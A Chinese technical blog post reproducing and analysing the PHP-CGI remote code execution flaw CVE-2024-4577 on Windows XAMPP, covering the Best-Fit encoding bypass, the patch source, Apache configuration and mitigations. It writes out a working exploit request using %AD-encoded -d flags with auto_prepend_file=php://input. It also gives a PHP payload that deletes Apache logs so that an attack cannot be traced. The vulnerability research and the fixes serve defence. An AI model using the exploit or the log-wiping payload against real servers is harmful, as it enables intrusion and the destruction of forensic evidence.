PHP CGI远程代码执行高危漏洞(CVE-2024-4577)复现与源码分析

五一假期,偶然间刷到了这个漏洞,我用shodan钟馗之眼做了资产扫描,发现大量有使用XMAPP的用户,并且攻击成本并不高,危害却很大。
中国工程院院士邬贺铨曾说过:“网络安全永远在路上,那么总是要不断在完善,可以说见招拆招”。漏洞评分达到了惊人的9.8,这篇文章必须写。

漏洞影响力

  • 用户众多: 经资产扫描,很多用户都用的XMAPP,有漏洞的版本至今可以轻而易举的下载到,相信有不少开发者使用包含次漏洞的版本。
  • 导致服务器沦陷: 可以通过远程代码执行,执行任意PHP指令,PHP可以对文件、数据库进行增删改查操作,那就相当于服务器沦陷,这里就不必演示了。
  • 可能导致被攻击后无法溯源: 由于Windows不像Linux系统那样对文件权限,和应用所属用户有要求,因此攻击后可以paylod直接传入<?php unlink('../apache/logs/error.log');unlink('../apache/logs/access.log'); ?>删除请求日志用于销毁攻击过程,亲测即使Apache处于运行状态也好使。如果服务器实例本身或上游节点没做请求记录,溯源都不可能。

漏洞成因

Windows的Best-Fit字符编码转换特性导致PHP原本的安全限制被绕过,导致攻击者可以通过特定的字符序列绕过此前CVE-2012-1823的防护,从而导致远程代码执行。

受影响版本

  • 系统:Windows 包含繁体中文(950)、简体中文(936)、日文(932),理论上不排除其它语言的windows也有漏洞。
  • 软件:XAMPP
  • PHP受影响版本:
    • PHP8.3 < 8.3.8
    • PHP8.2 < 8.2.20
    • PHP8.1 < 8.1.29
    • 其它低版本的PHP已不在维护,可能会受到影响。

复现

  1. 下载:找到XAMPP下载站点,我用的是8.1.25 / PHP 8.1.25,https://www.apachefriends.org/download.html,下载直链地址:https://nchc.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.1.25/xampp-windows-x64-8.1.25-0-VS16-installer.exe?viasf=1
  2. 安装:直接傻瓜式安装,点击下一步就可以了,我用虚拟机,直接安装在C:/xampp。
  3. 启动:打开C:/xampp,有一个xampp-control.exe,双击打开后,进入可视化的控制面板,启动Apache即可。
  4. 构造参数如下(不要用APIPost等专业的接口请求工具,否则不遵循RestFul下限的请求将导致无法复现):
POST的请求方式。
URL: 电脑IP/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Header:Content-Type 设置为 application/x-www-form-urlencoded
Body:直接传入<?php phpinfo(); ?>即可,不需要form表单提交所谓的name=value
然后发送请求,部分乱码返回不用管,直接RCE了。

漏洞原理分析

绕过原理分析

  1. Unicode官网提供了Windows的Best-Fit字符编码转换最基础的数据支撑:https://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt 52行、25410行,24601行中不难发现,-有0x00ad0x002d两种表示方式,其中0x00ad称之为连字符。用PowerShell指令也能得到部分验证:
#[System.Text.Encoding]::UTF8.GetBytes('-') 会将字符 - 转换为它的 UTF-8 字节序列。
#ForEach-Object { '{0:X2}' -f $_ } 将字节序列的每个字节转换为十六进制格式。
[System.Text.Encoding]::UTF8.GetBytes('-') | ForEach-Object { '{0:X2}' -f $_ }
  1. 并且还需要知道一个前提:CGI 处理程序提供一个连字符 (0xAD),CGI处理程序不会认为有必要对其进行转义,而是会将其传递给PHP,但PHP会将其解释为真正的链接符号字符,这使得攻击者能够将以连字符开头的额外命令行参数偷偷带入PHP进程
  2. 根据https://pentesterlab.com/exercises/cve-2012-1823显示,利用-d allow_url_include=1 -d auto_prepend_file=php://input是直接可以注入,从而实现RCE的。
  3. 刚好,网络安全员利用了%ad这个字符组合,通过Best-Fit匹配到的是连字符-,直接绕过了if(*p == '-') {skip_getopt = 1;}的等值判断,注意传入%,实际上是url转义的结果,url转义-的结果是%2d,那么就传入%AD绕过,前面的0x00可直接省略。
  4. 然后再看PHP源码仓库的对该漏洞的补丁:https://github.com/php/php-src/commit/4dd9a36c165974c84c4217aa41849b70a9fc19c9,从中不难发现:新增的PHP_WIN32代码段,对字符编码做了严格的过滤操作,以防止*p == '-'绕过,设置唯一的目的是使得后面传入的字符串不做参数解析,不做解析相当于没有业务逻辑要处理,自然到此为止。
原本的
		if(*p == '-') {
 			skip_getopt = 1;
 		}
 增加了如下方代码,翻译过来是,我们必须考虑“best fit”映射行为,通过
 		/* On Windows we have to take into account the "best fit" mapping behaviour. */
#ifdef PHP_WIN32
    if (*p >= 0x80) { //检查字符是否为高字节(大于等于 0x80)
        wchar_t wide_buf[1]; //创建一个宽字符数组,用来存放当前字符
        wide_buf[0] = *p; //将字符 *p 存放到 wide_buf[0] 中

        char char_buf[4]; //创建一个多字节字符数组,用来存放转换后的字符
        size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]); //计算宽字符数组的长度(这里只包含一个字符)
        size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]); //计算多字节字符数组的长度(最多 4 个字节)

        // 将宽字符转换为多字节字符,使用 Windows 的 WideCharToMultiByte 函数
        if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
            || char_buf[0] == '-') { // 如果转换失败或转换后的第一个字符是 '-'
            skip_getopt = 1; // 设置跳过 getopt 选项的标志
        }
    }
#endif

RCE攻击链路分析

  1. 环境配置漏洞1:打开C:/xampp/apache/conf/httpd.conf,第104行,LoadModule cgi_module modules/mod_cgi.so,指的是Apache使用CGI模式与后端程序运行,也只有PHP的CGI模式运行,有这个漏洞。
  2. 环境配置漏洞2:然后再打开C:/xampp/apache/conf/extra/httpd-xampp.conf第48行,这就决定攻击url可以访问到php-cgi.exe核心二进制文件的原因。
ScriptAlias /php-cgi/ "C:/xampp/php/"    #任何以 /php-cgi/开头的 URL 请求都会被 Apache 转发到 C:/xampp/php/目录下的文件。
<Directory "C:/xampp/php">               #指定了对 C:/xampp/php/目录的访问控制设置。它包裹了一些Directory内部的指令,用来限制或允许该目录下文件的访问。
    AllowOverride None                   #指定不允许在该目录内使用 .htaccess 文件覆盖全局配置
    Options None                         #禁用了 C:/xampp/php/目录下所有的选项(如目录列表、符号链接等),用于减少安全风险。
    Require all denied                   #默认情况下,C:/xampp/php/目录下的所有文件和资源都拒绝访问
    <Files "php-cgi.exe">                #声明文件php-cgi.exe,准备做另外的权限控制
          Require all granted            #做的是允许php-cgi.exe文件的访问
    </Files>
</Directory>
  1. 再回头看php-cgi.exe,他是PHP的CGI方式运行的可执行文件,用于在Windows环境中运行PHP 脚本,并且有个前提直到它支持接受GET、POST参数的。拖到命令行,并添加-h,显示如下,其中最值得注意的-d参数,用于定义ini配置参数(并不是将配置写入文件,而是运行期间定义ini配置),这为下游的RCE做好了准备。
php-cgi.exe -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.
  -T <count>       Measure execution time of script repeated <count> times.
  1. 根据上游的说明,解析参数%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input,就变成了-d+cgi.force_redirect=0+-d+allow_url_include=1+-d+auto_prepend_file=php://input
    • cgi.force_redirect=0:https://www.php.net/manual/zh/ini.core.php#ini.cgi.force-redirect 用于控制 PHP 是否可以直接被请求,而不通过 Web 服务器(如 Apache 或 Nginx)的代理,值为1时,PHP 会强制要求请求通过 Web 服务器来进行,这个不加不行,链路必须通过Apache,毕竟是通过Apache才能在线访问的到php-cgi.exe。
    • allow_url_include=1:https://www.php.net/manual/zh/filesystem.configuration.php#ini.allow-url-include表示允许PHP可以include或require远程文件,或在线的文件。
    • auto_prepend_file=php://input:https://www.php.net/manual/zh/ini.core.php#ini.auto-prepend-file,引入远程文件的文件名是,获取原始的POST数据,这个数据,就是上游传到body体的一句话木马:<?php phpinfo(); ?>
    • php-cgi cli模式下,kv之间用空格隔开。但是攻击URL中,将+换成空格或%20时,攻击链路就失效了,经查询,+被用于表示空格,这是URL编码的一种习惯做法,看来是历史原因,不过能接受参数就行。
      1. 至此,攻击执行后,完成攻击。

修复方案

  • 升级到没有漏洞的PHP版本。
  • 对于PHP版本过低升级主版本担心有问题,或不愿升级的用户,打开xampp/apache/conf/extra/httpd-xampp.conf 在约48行左右的<Directory "C:/xampp/php">内添加
RewriteEngine On                         #启用重写
RewriteCond %{QUERY_STRING} ^%ad [NC]    #检查URL参数后面%ad开头的路径,NC表示不区分大小写
RewriteRule .? - [F,L]                   #若任意路径符合上述特征(.?),不对url做修改(-),但是要拒绝访问(F),这是最后一条规则,如果该规则匹配成功,就不会继续处理其他的重写规则(L)

这个将导致攻击返回403

或注释掉:

ScriptAlias /php-cgi/ "C:/xampp/php/"

这个将导致攻击返回404

什么是Windows的Best-Fit字符编码转换

  • 概念:一种用于将字符从一种编码格式转换到另一种编码格式的机制。用于处理不同字符集之间的兼容性问题,尤其是在操作系统中不同区域、语言或系统应用间进行字符数据交换时,确保字符能够在不同编码之间尽可能无误地转换。
  • 特性:
    • 字符映射最接近的匹配:在源编码和目标编码之间,没有完全匹配的字符时,Best-Fit会选择一个最接近的字符来替代。
    • 容忍丢失或不兼容的字符:这种转换方法容忍一些字符的丢失,因为它会尝试保留最为接近的字符。即便目标编码中没有对应的字符,也不会让转换失败。
    • 通常用于兼容老系统:Best-Fit字符转换常见于Windows的“兼容性模式”,比如在一些不支持Unicode的旧应用程序中,Windows可能使用Best-Fit进行字符集转换,以便旧程序可以在现代系统上运行,而不至于崩溃或产生乱码。
  • 应用场景:
    • 从ANSI编码到Unicode编码的转换:Windows系统内有大量的基于ANSI编码的程序,这些程序可能并不完全支持Unicode,因此在进行字符集转换时会使用Best-Fit来避免丢失重要信息。
    • 在不同语言的系统间转换字符集:Windows支持多种语言,每种语言有自己的字符编码标准。Best-Fit转换在这些不同语言的环境中,可以尽可能减少字符显示错误或乱码问题。
  • 优点:
    • 可以在没有完全映射的情况下完成字符转换,减少乱码或错误。
    • 容错能力强,能够保证一些非标准字符的正常显示。
  • 缺点:
    • 转换的结果可能不完全准确,尤其是当字符集之间的差异较大时,可能会产生误解或错误的字符显示。
    • 在某些情况下,可能会导致字符信息的丢失,因为无法完全还原原始数据。

PHP CGI、Mod、PHP-FPM 3种与Web服务器通信的区别

  • PHP CGI(Common Gateway Interface)

    • CGI 是最早的一种Web脚本执行方式,PHP CGI是PHP在CGI模式下的运行方式。每当Web服务器接收到一个PHP请求时,Web服务器会启动一个PHP进程来处理该请求,处理完后再退出。
    • 优点:
      • 适配较好,支持与主流服务器的通信方式。
      • 每个请求都在单独的进程中运行,互相独立,具有较高的隔离性。
    • 缺点:
      • 每次请求都要启动一个新的PHP进程,因此性能较差。对于高流量网站不适合。
  • PHP Mod(Apache mod_php)

    • 这是将PHP集成到Apache Web服务器中的一种方式。PHP作为Apache的一个模块运行,每当Apache处理一个HTTP请求时,PHP 直接在Apache进程中执行。这意味着请求和PHP代码在同一个进程中运行。
    • 优点:
      • 性能较好:因为Apache和PHP在同一进程中运行。
      • 配置简单:不需要额外的进程管理工具,其次是很多集成环境天生就配好了Apache与PHP的组合。
    • 缺点:
      • 每个Apache进程都会加载PHP,可能会导致资源浪费,尤其是在大量静态资源请求时,没那么轻量级。
  • PHP-FPM(FastCGI Process Manager)

    • 原理:PHP-FPM是FastCGI的进程管理器,PHP-FPM在独立的进程池中运行,Nginx服务器通过FastCGI协议将请求交给PHP-FPM进程池处理。PHP-FPM进程池通常是持续运行的,可以在处理多个请求时共享资源,避免了CGI每次启动新进程的开销。
    • 优点:
      • 性能优于CGI,因为PHP-FPM进程池保持活跃,能够快速响应多个请求。
      • 更灵活,可以配置不同的PHP-FPM池来处理不同的请求,比如不同的PHP配置、不同的用户。
      • 比 Mod-PHP 更轻量,因为 PHP 进程与 Web 服务器进程是分开的。
      • 支持进程池的管理,可以控制最大进程数、内存使用等。
    • 缺点:
      • 配置略为复杂,需要额外安装和配置PHP-FPM。
      • 需要对Nginx进行额外的配置,以支持FastCGI。

CGI、FastCGI、PHP-FPM本身的区别

  • CGI:是通用网关接口:一种标准,用来让Web服务器与外部程序(通常是动态语言脚本如PHP、Perl、Python等)进行交互。CGI 程序接收HTTP请求、会启动一个新的进程来执行CGI程序。程序执行完成后,将结果返回给Web服务器。
    • 通俗讲:电脑(Web服务器)主机本身完不成拍摄(后端数据复杂计算服务)功能,就需要连接一个摄像头(后端脚本语言),为了两者能够正常通信,就需要指定一套USB协议(CGI)。
  • FastCGI是解决CGI的性能问题而生的快速通用网关协议。它不再为每个请求启动一个新的进程,而是复用进程池中的多个进程来处理多个请求。FastCGI启动时会启动一个或多个常驻的进程池,这些进程会监听Web服务器发来的请求。Web服务器与FastCGI程序之间通过协议(通常是Unix socket(套接字)或TCP/IP进行通信。
  • PHP-FPM是PHP的一个FastCGI进程管理器。添加进程管理器的概念可以进一步优化通信。例如自动动态调整进程数量、或根据开发者定制化配置固定进程数量、控制进程重启、慢请求超时时间、进程所属用户、用户组等。

漏洞相关链接(鸣谢)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小松聊PHP进阶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值